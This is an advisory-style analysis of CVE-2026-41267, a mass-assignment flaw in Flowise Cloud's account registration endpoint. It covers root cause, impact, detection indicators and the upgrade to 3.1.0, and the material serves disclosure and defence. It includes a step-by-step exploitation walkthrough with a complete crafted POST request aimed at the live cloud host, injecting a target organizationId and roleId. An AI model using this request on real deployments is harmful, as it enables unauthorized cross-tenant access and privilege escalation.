CVE-2026-41267: 
Flowise vulnerability analysis and mitigation

CVE-2026-41267 is an improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud, a drag-and-drop UI for building customized LLM flows. Unauthenticated attackers can inject server-managed fields and nested objects during account creation, enabling manipulation of ownership metadata, timestamps, organization associations, and role mappings in a multi-tenant environment. All Flowise versions up to and including 3.0.13 (npm package) are affected; the vulnerability is fixed in version 3.1.0. It carries a CVSS v3.1 base score of 9.8 (Critical) per NVD, and 8.1 (High) per the GitHub Security Advisory (GitHub Advisory). The advisory was published on April 15, 2026, and the CVE was assigned and published on April 23, 2026 (GitHub Advisory).

The root cause is improper input validation and mass assignment (CWE-915, CWE-639, CWE-20): the POST /api/v1/account/register endpoint fails to enforce a strict allowlist or DTO-based validation, instead blindly mapping client-supplied JSON to internal domain models. An attacker can include additional nested objects — such as organization, organizationUser, workspace, workspaceUser — and server-managed fields like createdBy, updatedBy, createdDate, and updatedDate in the registration request body, all of which are persisted as provided rather than generated server-side. This constitutes a trust boundary violation where authorization and ownership decisions are effectively delegated to untrusted client input. No authentication or special privileges are required; the attack is conducted over the network via a single crafted HTTP POST request (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to associate a newly created account with an arbitrary existing organization by supplying a known organizationId during registration, resulting in unauthorized cross-tenant access and privilege escalation at account creation time. Attackers can also inject role and membership relationships, manipulate audit timestamps and ownership metadata, and violate multi-tenant isolation boundaries. In a SaaS context, this could expose other tenants' data and resources, enable privilege abuse, and undermine audit integrity across the entire Flowise Cloud deployment (GitHub Advisory).

A proof-of-concept exploit consisting of two complete HTTP POST requests demonstrating the injection of organizationId, roleId, and metadata fields is publicly available in the GitHub Security Advisory (GitHub Advisory). The vulnerability requires no authentication, no user interaction, and low attack complexity, making it trivially exploitable by any network-accessible attacker. As of the time of reporting, there is no evidence of active in-the-wild exploitation, and the EPSS score is approximately 0.00315 (low probability of exploitation in the near term). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Reconnaissance: Identify Flowise Cloud instances exposing the registration endpoint at POST /api/v1/account/register (e.g., https://cloud.flowiseai.com). Enumerate existing organization IDs if possible by observing API responses or through prior access to the platform.
2. Baseline registration: Send a standard registration request to confirm the endpoint is active and observe the 201 Created response, which returns the newly created user, organization, workspace, and role objects — potentially leaking internal IDs.
3. Craft malicious payload: Construct a modified registration request that injects server-managed fields and nested objects, including a target organizationId and desired roleId:

POST /api/v1/account/register HTTP/2
Host: cloud.flowiseai.com
Content-Type: application/json

{
  "user": {
    "name": "Injected User",
    "email": "injected@example.com",
    "credential": "StrongPassword123!",
    "createdBy": "",
    "updatedBy": "",
    "createdDate": "1999-12-27T13:10:47.666Z",
    "updatedDate": "1999-12-27T13:10:47.666Z"
  },
  "organization": {
    "id": "<target-org-id>",
    "name": "Injected Organization"
  },
  "organizationUser": {
    "organizationId": "<target-org-id>",
    "roleId": "<desired-role-id>"
  }
}

4. Achieve unauthorized access: Observe the 201 Created response confirming the injected fields were persisted. Log in with the newly created account to access the target organization's resources, data, and features without authorization (GitHub Advisory).

• Network: Unexpected HTTP POST requests to /api/v1/account/register containing nested JSON objects beyond the standard user fields (e.g., organization, organizationUser, workspace, workspaceUser); requests with fields such as organizationId, roleId, createdBy, updatedBy, createdDate, or updatedDate in the registration payload.
• Logs: Application or API gateway logs showing 201 Created responses to registration requests with unusually large or deeply nested JSON bodies; multiple registration attempts from the same IP with varying organizationId values (enumeration behavior).
• Application Data: Newly created user accounts associated with organizations they were not invited to; accounts with anomalous createdDate or updatedDate values (e.g., dates in the past such as 1999); unexpected role assignments for newly registered users (GitHub Advisory).

The vulnerability is fixed in Flowise version 3.1.0 (npm package); all users should upgrade immediately from any version ≤ 3.0.13 (GitHub Advisory). As a temporary workaround if immediate patching is not possible, disable or restrict network access to the account registration endpoint (POST /api/v1/account/register) until the patch can be applied. Additionally, implement server-side input validation using strict allowlists or DTO-based validation to ensure only expected fields (name, email, password) are accepted at registration endpoints.

The vulnerability was reported by security researcher berkdedekarginoglu and published via GitHub's security advisory program (GitHub Advisory). Brief mentions appeared on Mastodon (via @thehackerwire) and Bluesky shortly after disclosure, reflecting routine community awareness rather than significant alarm. No major vendor statements beyond the advisory or notable media coverage have been identified at this time.